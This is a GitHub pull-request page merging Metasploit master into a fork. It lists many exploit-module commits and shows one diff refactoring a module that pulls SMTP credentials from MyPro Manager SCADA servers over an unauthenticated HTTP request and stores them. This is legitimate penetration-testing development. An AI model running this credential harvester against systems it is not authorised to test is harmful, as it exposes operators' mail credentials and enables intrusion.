Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[pull] master from rapid7:master #315

Merged
merged 5,332 commits into from
Mar 28, 2025
Merged
Changes from 1 commit
Commits
Show all changes
5332 commits
Select commit Hold shift + click to select a range
0b0b9bb
automatic module_metadata_base.json update
Feb 20, 2025
df8ad37
Remove comment
h00die Feb 20, 2025
c8aea65
Remove errant CVE reference.
bwatters-r7 Feb 20, 2025
0aad255
updated
h4x-x0r Feb 20, 2025
c7d59ce
Merge pull request #19875 from dledda-r7/fix/aarch64-sigill-raspberrypi
bwatters-r7 Feb 20, 2025
42a7ff0
automatic module_metadata_base.json update
Feb 20, 2025
3613013
Bump version of framework to 6.4.51
msjenkins-r7 Feb 20, 2025
2712023
Merge branch 'rapid7:master' into netalert_file_read
msutovsky-r7 Feb 20, 2025
2cdaf98
Fixing descriptions, filename, adding correct CVE and code reformat
msutovsky-r7 Feb 20, 2025
baac1fc
init commit module
h00die-gr3y Jan 28, 2025
682be79
first release module and documentation
h00die-gr3y Jan 28, 2025
38b3741
Apply suggestions from code review
h00die-gr3y Jan 30, 2025
f857e5f
fixed code review and updated documentation
h00die-gr3y Jan 30, 2025
fcc929e
updated documentation with Linux Dropper (x86_64) target scenario
h00die-gr3y Jan 30, 2025
15c2027
removed linux dropper code and tested with PR 19850
h00die-gr3y Feb 3, 2025
2159574
added default options and updated documentation
h00die-gr3y Feb 7, 2025
e9fc6e3
Merge pull request #19841 from h00die-gr3y/raspberrymatic-unauth-rce
bwatters-r7 Feb 21, 2025
e7ed432
automatic module_metadata_base.json update
Feb 21, 2025
fc25e17
SimpleHelp Path Traversal CVE-2024-57727
jheysel-r7 Feb 21, 2025
47a2079
initial module and laravel crypto killer mixin
h00die-gr3y Feb 21, 2025
b3a5da9
Apply suggestions from code review
h00die-gr3y Feb 22, 2025
4d4b88c
Add D-Tale unauth RCE module (CVE-2025-0655)
Takahiro-Yoko Feb 23, 2025
ece33ee
added documentation
h00die-gr3y Feb 23, 2025
41e6904
simplified some code sections
h00die-gr3y Feb 23, 2025
f734213
Code refactor based on PR
msutovsky-r7 Feb 24, 2025
e883da8
Adding report_vuln
msutovsky-r7 Feb 24, 2025
2d55f5c
Update documentation/modules/exploit/linux/http/invoiceninja_unauth_r…
h00die-gr3y Feb 24, 2025
fae3d83
Calling check method fix & Additional documentation
msutovsky-r7 Feb 24, 2025
79411ea
added code sugesstions from dledda-r7
h00die-gr3y Feb 24, 2025
e4ee651
Updated docs, fixed Notes
jheysel-r7 Feb 24, 2025
183d582
Rollback of fix for check method
msutovsky-r7 Feb 25, 2025
33d0c0c
Land #19881, NetAlertX File Read (CVE-2024-48766)
dledda-r7 Feb 25, 2025
b55a945
automatic module_metadata_base.json update
Feb 25, 2025
3487b48
Fix an API change from an old commit (#19880)
zeroSteiner Feb 25, 2025
576ff2f
Land #19878, MyScada MyPro Manager Credential Harverster Module
msutovsky-r7 Feb 25, 2025
458d086
automatic module_metadata_base.json update
Feb 25, 2025
f046e70
Land #19894, SimpleHelp Path Traversal CVE-2024-57727
dledda-r7 Feb 25, 2025
b0cd258
automatic module_metadata_base.json update
Feb 25, 2025
1c27e2a
docs: update docs for rubocop
dledda-r7 Feb 25, 2025
8dd032e
Land #19897, Invoice Ninja unauthenticated RCE (CVE-2024-55555) and L…
dledda-r7 Feb 25, 2025
0cbd4d1
automatic module_metadata_base.json update
Feb 25, 2025
fcee4db
Reorder the buffer fields to match windows
zeroSteiner Feb 25, 2025
40726d1
Remove unnecessary & guard operator
Takahiro-Yoko Feb 26, 2025
b853168
Make common byte to int conversion functions
zeroSteiner Feb 21, 2025
d37039c
Add tests for byte to int conversions
zeroSteiner Feb 24, 2025
d9c2ed8
merge freebsd and solaris for packages lib
h00die Feb 26, 2025
29cb441
remove solaris check since its in freebsd code branch
h00die Feb 26, 2025
c49b49b
Merge pull request #19893 from bwatters-r7/fix/loadmaster_priv_esc_cve
smcintyre-r7 Feb 26, 2025
5bb99d1
automatic module_metadata_base.json update
Feb 26, 2025
c9afd44
Add the NIST SP 800 38f key wrap function
zeroSteiner Feb 25, 2025
e159ea5
Add the NIST SP 800 108 key derivation function
zeroSteiner Feb 20, 2025
97adc27
hash_cracker_validator upload
h00die Feb 27, 2025
1d80122
Bump version of framework to 6.4.52
msjenkins-r7 Feb 27, 2025
b8429cb
Update lib/msf/core/post/linux/packages.rb
h00die Feb 27, 2025
8c24e98
Land #19902, Fix byte to int conversion in MsAdts
dledda-r7 Feb 27, 2025
7e0b3af
Land #19879, Add MsDtypSecurityDescriptor to_sddl_text
dledda-r7 Feb 27, 2025
c1a81eb
automatic module_metadata_base.json update
Feb 27, 2025
689fb49
correct password in hashes table (#19911)
h00die Feb 27, 2025
11818c2
Switch to using Rex's Crypto module
zeroSteiner Feb 27, 2025
aa5eda4
Fix 404 link in eicar.txt (#19912)
easymoney322 Feb 27, 2025
2fd0511
Add some basic NIST SP 800 108 specs
zeroSteiner Feb 27, 2025
db76de2
update hash cracking tests
h00die Feb 27, 2025
36b13f5
Land #19862, updating Linux post library - additional comments, specs…
msutovsky-r7 Feb 28, 2025
149c442
Moving HTTP Digest Authentication response counting moved into separa…
msutovsky-r7 Feb 28, 2025
62b8ded
Vuln cert finder minor fix plus doc update
jheysel-r7 Feb 28, 2025
d2dd9a6
Add docs for ESC4,13 and 15 vulnerable template configuration
jheysel-r7 Feb 28, 2025
810e7c4
Adds scripts to find and replace dead module reference links
cgranleese-r7 Feb 7, 2025
acd692e
Adds two scripts to handle dead module reference links
cgranleese-r7 Feb 21, 2025
0017fbd
Updates more dead links
cgranleese-r7 Feb 28, 2025
258b8aa
update apply_pot to handle more hash types
h00die Feb 28, 2025
df8b0de
Fixes some invalid links
cgranleese-r7 Feb 28, 2025
df9efe3
fix rubocop issues with apply_pot
h00die Feb 28, 2025
b3602b2
Merge pull request #19919 from jheysel-r7/fix/nil_check/esc_cert_finder
smcintyre-r7 Feb 28, 2025
b4ca537
Merge pull request #19920 from jheysel-r7/docs/vuln_cert_finder_update
smcintyre-r7 Feb 28, 2025
8ac44d5
automatic module_metadata_base.json update
Feb 28, 2025
57e3045
Fixes crash when searching modules by target
cgranleese-r7 Feb 28, 2025
7a5ff2a
Adds tests for nil scenarios
cgranleese-r7 Feb 28, 2025
ee89d10
Gem bump for get_naa_creds module
jheysel-r7 Feb 28, 2025
316ecd4
Use FETCH_FILELESS as default
Takahiro-Yoko Mar 1, 2025
77c3ce5
Improve:
Takahiro-Yoko Mar 1, 2025
5cc5563
Msf::Post:Linux::System.get_sysinfo: Add support for several Linux di…
bcoles Mar 1, 2025
65d2b63
Update vulnerable version
Takahiro-Yoko Mar 2, 2025
94fcda9
Removing unnecessary function
msutovsky-r7 Mar 3, 2025
47351e4
Use FETCH_DELETE as default
Takahiro-Yoko Mar 3, 2025
3c4d0aa
Land #19899, D-Tale remote code execution module
msutovsky-r7 Mar 3, 2025
c9421a6
automatic module_metadata_base.json update
Mar 3, 2025
b1b8ad3
Merge pull request #19922 from cgranleese-r7/fixes-crash-when-searchi…
adfoster-r7 Mar 3, 2025
60e9cae
Merge pull request #19926 from jheysel-r7/gem_bump_for_get_naa_module
adfoster-r7 Mar 3, 2025
2f958c2
Fix crash when running mssql payload against sessions
adfoster-r7 Mar 3, 2025
eef2e4c
Merge pull request #19918 from msutovsky-r7/feat/separate_class_http_…
adfoster-r7 Mar 3, 2025
b94418a
Enable LDAP sessions by default
zeroSteiner Mar 3, 2025
4d57710
Make timeout configurable and nil check content
jheysel-r7 Mar 3, 2025
b0fec4e
Merge pull request #19933 from zeroSteiner/feat/enable-ldap-sessions
adfoster-r7 Mar 3, 2025
60a496e
bugfix the URI to work as expected for both HTTP and HTTPS, also some…
sfewer-r7 Mar 3, 2025
e71a851
mention that the C8000v series appliance version 17.6.5 was observed …
sfewer-r7 Mar 3, 2025
45dfa5f
update docs for auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_2…
sfewer-r7 Mar 3, 2025
4a38605
bugfix the check routine, to get a suitable response from a targets w…
sfewer-r7 Mar 3, 2025
9c075c7
Previously the check routine only leveraged the first vuln in the cha…
sfewer-r7 Mar 3, 2025
edd36a8
update the docs for exploit/linux/misc/cisco_ios_xe_rce after retesti…
sfewer-r7 Mar 3, 2025
9460603
typos in comments
sfewer-r7 Mar 3, 2025
b1d0eed
Merge pull request #19712 from smashery/naa_creds
jheysel-r7 Mar 3, 2025
59b862c
automatic module_metadata_base.json update
Mar 3, 2025
8d7bbdd
Sonicwall module
msutovsky-r7 Mar 4, 2025
efb0d5d
fix typo, C1000v should be CSR1000v. Be consistant with IOS XE and no…
sfewer-r7 Mar 4, 2025
2f5758b
improve the logic here
sfewer-r7 Mar 4, 2025
daf5e1c
include ERB::Util for html_escape
fabpiaf Mar 4, 2025
54465f3
Land #19917, Add NIST SP 800 Crypto Primitives
dledda-r7 Mar 4, 2025
91f1db3
Update ubuntu versions for github actions
adfoster-r7 Mar 4, 2025
d626886
Merge pull request #19940 from adfoster-r7/update-ubuntu-versions-for…
smcintyre-r7 Mar 4, 2025
8d3d8d8
Call #validate in run_simple like it is in call_simple
zeroSteiner Mar 1, 2025
112b8f5
Call #validate before walking the rhosts
zeroSteiner Mar 3, 2025
f2e29a3
Remove dead code that shouldn't get hit anymore
zeroSteiner Mar 4, 2025
f12ddc7
Apply the same refactoring to posts
zeroSteiner Mar 4, 2025
f2bcf34
Apply the same refactoring to exploits
zeroSteiner Mar 4, 2025
2422f8b
Add specs to test the #validate method
zeroSteiner Mar 4, 2025
bf5ae87
Use dynamically generated session
Takahiro-Yoko Mar 5, 2025
fa4dd1d
Add error handling on unknown shell type
smashery Mar 5, 2025
7a1892e
Land #19745, applying argument escaping to other shells
msutovsky-r7 Mar 5, 2025
58fbf9e
Update server.rb
fabpiaf Mar 5, 2025
114ab60
Adding Python3 option for fileless ELF execution
msutovsky-r7 Mar 5, 2025
531fbd3
Specifying Python version
msutovsky-r7 Mar 5, 2025
1bea1ba
Addressing comments in PR
msutovsky-r7 Mar 5, 2025
8102bed
Merge pull request #19896 from cgranleese-r7/adds-scripts-for-dead-mo…
adfoster-r7 Mar 5, 2025
8604c72
Merge pull request #19895 from cgranleese-r7/update-dead-module-refer…
adfoster-r7 Mar 5, 2025
c62f041
automatic module_metadata_base.json update
Mar 5, 2025
c698979
Land #19935, SonicWall NSv HTTP Login Module
dledda-r7 Mar 5, 2025
03277a4
automatic module_metadata_base.json update
Mar 5, 2025
03b9070
Land #19927, get_sysinfo add support for several Linux distros
dledda-r7 Mar 5, 2025
95e8b31
Merge pull request #19925 from zeroSteiner/fix/auxiliary/validate
adfoster-r7 Mar 5, 2025
dbce824
Add a warning for MS08-068 when applicable
zeroSteiner Mar 5, 2025
7950d86
Use the existing #validate method for options
zeroSteiner Nov 8, 2024
5e3953e
Add a new mixin for handling multiple targets
zeroSteiner Nov 8, 2024
b43dc8b
Switch relay modules, add ESC8 check method
zeroSteiner Nov 8, 2024
0116d0c
Actually count the hosts
zeroSteiner Nov 11, 2024
4004c1f
Add #signing_required to SMB::SimpleClient
zeroSteiner Nov 11, 2024
4422cb5
Update target_host information
zeroSteiner Nov 12, 2024
04842ea
Add a check method to the smb_relay module
zeroSteiner Nov 12, 2024
f6c8b98
Finish up the ESC8 check after more research
zeroSteiner Nov 12, 2024
37e92f7
Merge pull request #19639 from zeroSteiner/feat/mod/relay/checks
jheysel-r7 Mar 5, 2025
ef638ae
automatic module_metadata_base.json update
Mar 5, 2025
c3ffdb1
Merge pull request #19946 from zeroSteiner/feat/mod/relay/ms08-068-wa…
jheysel-r7 Mar 5, 2025
a0ca1b1
Create sitecore_xp_cve_2025_27218.rb
machang-r7 Mar 5, 2025
35afdb0
Add more explanatory description
msutovsky-r7 Mar 6, 2025
787205e
Bump version of framework to 6.4.53
msjenkins-r7 Mar 6, 2025
233c710
Update modules/exploits/linux/http/dtale_rce_cve_2025_0655.rb
Takahiro-Yoko Mar 6, 2025
edb47d9
Update function name after applied suggestion
Takahiro-Yoko Mar 6, 2025
426d74b
Changing options to enumeration, removing whitespaces
msutovsky-r7 Mar 7, 2025
196d95b
Land #19944, adding dynamic session for module CVE-2025-0655
msutovsky-r7 Mar 7, 2025
da00168
automatic module_metadata_base.json update
Mar 7, 2025
992b01b
Merge pull request #19937 from fabpiaf/patch-1
adfoster-r7 Mar 7, 2025
281b728
initial module and documentation
h00die-gr3y Mar 7, 2025
ae8591f
More clear specification of Python version
msutovsky-r7 Mar 10, 2025
44bdc5b
Update documentation/modules/exploit/linux/http/invoiceshelf_unauth_r…
h00die-gr3y Mar 10, 2025
e341398
small update on module and documentation
h00die-gr3y Mar 10, 2025
1ca57c8
added base64 encoding in php payload execution
h00die-gr3y Mar 11, 2025
f3d644c
Use real SiteReference instances
zeroSteiner Mar 10, 2025
661ac23
Merge pull request #19955 from zeroSteiner/feat/lib/adcs-mm-updates/1
bwatters-r7 Mar 12, 2025
7603b5d
automatic module_metadata_base.json update
Mar 12, 2025
a5edf5b
automatic module_metadata_base.json update
Mar 12, 2025
5bb5b40
Add Eramba Remote Code Execution Exploit
trvnt-stefan Sep 24, 2024
538cdc1
remove Rank, fix title
trvnt-stefan Sep 24, 2024
4c51378
call fail_with upon failure rather than passing around Failure's as v…
sfewer-r7 Mar 13, 2025
b228e3b
Land #19956, Routine dependency updates
cgranleese-r7 Mar 13, 2025
9886f78
Upgrade Eramba RCE module
msutovsky-r7 Mar 13, 2025
cac9b6e
Removing auxiliary module
msutovsky-r7 Mar 13, 2025
557b2c7
Enable longpaths on windows github actions runners
dwelch-r7 Mar 13, 2025
a1093b0
Merge pull request #19959 from dwelch-r7/enable-longpaths
adfoster-r7 Mar 13, 2025
82f07c1
Fix check method
jheysel-r7 Mar 13, 2025
cf08a4e
Readd missing checks
jheysel-r7 Mar 13, 2025
d47ec03
Refactor CMS data structures used in pkinit functionality
smashery Dec 20, 2024
0ca2599
update based on review comments
h00die-gr3y Mar 14, 2025
84012fd
fixed invalid attackerkb reference
h00die-gr3y Mar 14, 2025
9961bfb
Land #19950, module for InvoiceShelf unauthenticated PHP deserialization
msutovsky-r7 Mar 14, 2025
c382de8
automatic module_metadata_base.json update
Mar 14, 2025
76289d9
Bump version of framework to 6.4.54
msjenkins-r7 Mar 14, 2025
741a222
Land #19961, fixing incorrect URL in the InvoiceNinja module
msutovsky-r7 Mar 14, 2025
ef79506
automatic module_metadata_base.json update
Mar 14, 2025
d982678
update info
e2002e Mar 14, 2025
5e24b84
Merge https://github.com/rapid7/metasploit-framework
e2002e Mar 14, 2025
d4fd890
Add the smb_to_ldap relay module and documentation
cdelafuente-r7 Jan 23, 2025
f8760a9
Update from code review
cdelafuente-r7 Mar 13, 2025
5305e04
Add a check for the LDAP session feature
cdelafuente-r7 Mar 13, 2025
7bbd640
use new domain name.
e2002e Mar 15, 2025
e484855
Land #19960, adding more robust check for CVE-2024-30038
msutovsky-r7 Mar 17, 2025
58adf02
automatic module_metadata_base.json update
Mar 17, 2025
70e7d98
Update docs dependencies
adfoster-r7 Mar 17, 2025
902fd65
Merge pull request #19967 from adfoster-r7/update-docs-dependencies
msutovsky-r7 Mar 17, 2025
9917f57
Merge pull request #19913 from h00die/hash_validator
adfoster-r7 Mar 17, 2025
b51b299
automatic module_metadata_base.json update
Mar 17, 2025
413c193
Merge pull request #19832 from cdelafuente-r7/mod/relay/smb_to_ldap
bwatters-r7 Mar 17, 2025
50edfae
automatic module_metadata_base.json update
Mar 17, 2025
994c09a
Update license years, remove redundant licenses
zeroSteiner Mar 19, 2025
2e84217
Merge pull request #19757 from smashery/cms_refactor
smcintyre-r7 Mar 19, 2025
e3d9561
GLPI Inventory Plugin Unauthenticated Blind Boolean SQLi (CVE-2025-24…
jheysel-r7 Mar 19, 2025
f424185
Bump version of framework to 6.4.55
msjenkins-r7 Mar 20, 2025
4764ebb
Land #19932, Fix crash when running mssql payload against sessions
cgranleese-r7 Mar 20, 2025
c758a48
automatic module_metadata_base.json update
Mar 20, 2025
7b5b57a
Land #19973, Update the project license year
cgranleese-r7 Mar 20, 2025
86fec44
Respond to comments, update reliability
jheysel-r7 Mar 20, 2025
ec67435
Rebase and squash for CVE-2024-30085
bwatters-r7 Jan 10, 2025
df027f3
Update documentation, adding more precise check, removing unnecessary…
msutovsky-r7 Mar 20, 2025
4be6f49
use a variable for the domain; use .present? for resolvable
e2002e Mar 20, 2025
d16c3e9
Merge https://github.com/rapid7/metasploit-framework
e2002e Mar 20, 2025
584d7da
fix resolvable()
e2002e Mar 20, 2025
1bf81d9
Merge pull request #19962 from e2002e/master
smcintyre-r7 Mar 20, 2025
19c7cf0
automatic module_metadata_base.json update
Mar 20, 2025
d922976
Adding more clear installation steps
msutovsky-r7 Mar 20, 2025
95f9e22
Addressing comments
msutovsky-r7 Mar 20, 2025
cde6034
Account for all vulnerable version DB schemas
jheysel-r7 Mar 20, 2025
c7c0047
Land #19802, module for CVE-2024-30085
msutovsky-r7 Mar 20, 2025
3f1422c
automatic module_metadata_base.json update
Mar 20, 2025
d0bd559
add cmsms exploit module
tastyrce Mar 22, 2025
e70c8aa
RuboCop Fixes
tastyrce Mar 22, 2025
162e73a
add module documentation
tastyrce Mar 22, 2025
d38dd96
Renames LDAP datastore options
cgranleese-r7 Oct 31, 2024
bf1f919
Merge pull request #19957 from msutovsky-r7/auxmodule-eramba-update
smcintyre-r7 Mar 25, 2025
0c87c6b
automatic module_metadata_base.json update
Mar 25, 2025
abeeb09
Rubocop
jheysel-r7 Mar 25, 2025
9c42bdd
Land #19974, GLPI Inventory Plugin Unauth Blind Boolean SQLi (CVE-202…
dledda-r7 Mar 25, 2025
be7715d
automatic module_metadata_base.json update
Mar 25, 2025
24a785d
Target and metadata updates
jheysel-r7 Mar 25, 2025
72c3ebe
This #initialize method must take one argument
zeroSteiner Mar 26, 2025
7476ea9
Brute force modules should be named service_login
zeroSteiner Mar 26, 2025
30d071e
Make the same changes for sonicwall
zeroSteiner Mar 26, 2025
b1eed8e
Add sonicwall login connection error handling
zeroSteiner Mar 26, 2025
2686958
Merge pull request #19987 from zeroSteiner/fix/mod/ivanti-login
jheysel-r7 Mar 26, 2025
f554cb7
automatic module_metadata_base.json update
Mar 26, 2025
f117542
remove get and post wrappers
tastyrce Mar 27, 2025
cbfcc5b
add condition for http code
tastyrce Mar 27, 2025
e62038c
improve version parsing
tastyrce Mar 27, 2025
10ea4f7
use keep_cookies to store cookies
tastyrce Mar 27, 2025
a193294
Bump version of framework to 6.4.56
msjenkins-r7 Mar 27, 2025
9bdff3e
Add extra dependencies during installation
tastyrce Mar 27, 2025
8423d6f
Update removal of default page while installation
tastyrce Mar 27, 2025
43c929d
Update checking for authentication
tastyrce Mar 27, 2025
8479350
Update documentation
tastyrce Mar 27, 2025
d54e8d8
Add check method that returns Detected
jheysel-r7 Mar 27, 2025
74cc1d3
Add documentation
jheysel-r7 Mar 27, 2025
fa0c298
Update author, rubocop, msftidy_docs
jheysel-r7 Mar 27, 2025
8121564
Merge pull request #19606 from cgranleese-r7/rename-ldap-datastore-va…
smcintyre-r7 Mar 27, 2025
80fec5e
automatic module_metadata_base.json update
Mar 27, 2025
08e227f
Merge pull request #19934 from sfewer-r7/bugfix-cisco-iosxe-rce
jheysel-r7 Mar 27, 2025
f7bb3d6
automatic module_metadata_base.json update
Mar 27, 2025
985cea3
Land #19980, Add CMSMadeSimple (CMSMS) File Manager Auth RCE (CVE-202…
dledda-r7 Mar 28, 2025
6838a0e
automatic module_metadata_base.json update
Mar 28, 2025
21b441e
Land #19943, Fetch payload run fileless ELF with python
dledda-r7 Mar 28, 2025
5505bb5
Merge pull request #19947 from machang-r7/machang-r7-module-cve-2025-…
jheysel-r7 Mar 28, 2025
cc4dad3
automatic module_metadata_base.json update
Mar 28, 2025
7f01048
Add some more LoginScanner tests
zeroSteiner Mar 28, 2025
f0febba
Merge pull request #19991 from zeroSteiner/feat/lib/more-bf-tests
jheysel-r7 Mar 28, 2025
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Prev Previous commit
Next Next commit
updated
updated
h4x-x0r committed Feb 20, 2025
commit 0aad255e136a70183c08598115ba89d7a6fb984d
39 changes: 18 additions & 21 deletions modules/auxiliary/admin/scada/mypro_mgr_creds.rb
Original file line number Diff line number Diff line change
@@ -91,31 +91,28 @@ def run
'uri' => normalize_uri(target_uri.path, 'get')
})

if res&.code == 200
print_good('Mail server credentials retrieved:')
fail_with(Failure::Unknown, 'No response from server.') if res.nil?
fail_with(Failure::UnexpectedReply, 'Non-200 returned from server.') if res.code != 200
print_good('Mail server credentials retrieved:')
data = res.get_json_document

if res.body && !res.body.empty?
data = JSON.parse(res.body)
if data.key?('smtp') && data['smtp'].is_a?(Hash)
smtp_info = data['smtp']
if data.key?('smtp') && data['smtp'].is_a?(Hash)
smtp_info = data['smtp']

host = smtp_info.fetch('host', 'Unknown Host')
port = smtp_info.fetch('port', 'Unknown Port')
auth = smtp_info.fetch('auth', 'Unknown Auth')
user = smtp_info.fetch('user', 'Unknown User')
passw = smtp_info.fetch('pass', 'Unknown Password')
host = smtp_info.fetch('host', 'Unknown Host')
port = smtp_info.fetch('port', 'Unknown Port')
auth = smtp_info.fetch('auth', 'Unknown Auth')
user = smtp_info.fetch('user', 'Unknown User')
passw = smtp_info.fetch('pass', 'Unknown Password')

print_good("Host: #{host}")
print_good("Port: #{port}")
print_good("Auth Type: #{auth}")
print_good("User: #{user}")
print_good("Password: #{passw}")
print_good("Host: #{host}")
print_good("Port: #{port}")
print_good("Auth Type: #{auth}")
print_good("User: #{user}")
print_good("Password: #{passw}")

store_valid_credential(user: user, private: passw, proof: data.to_s)
end
else
print_error('Unexpected or no reply received.')
print_status(res.body)
unless user == 'Unknown User' || passw == 'Unknown Password'
store_valid_credential(user: user, private: passw, proof: data.to_s)
end
end
end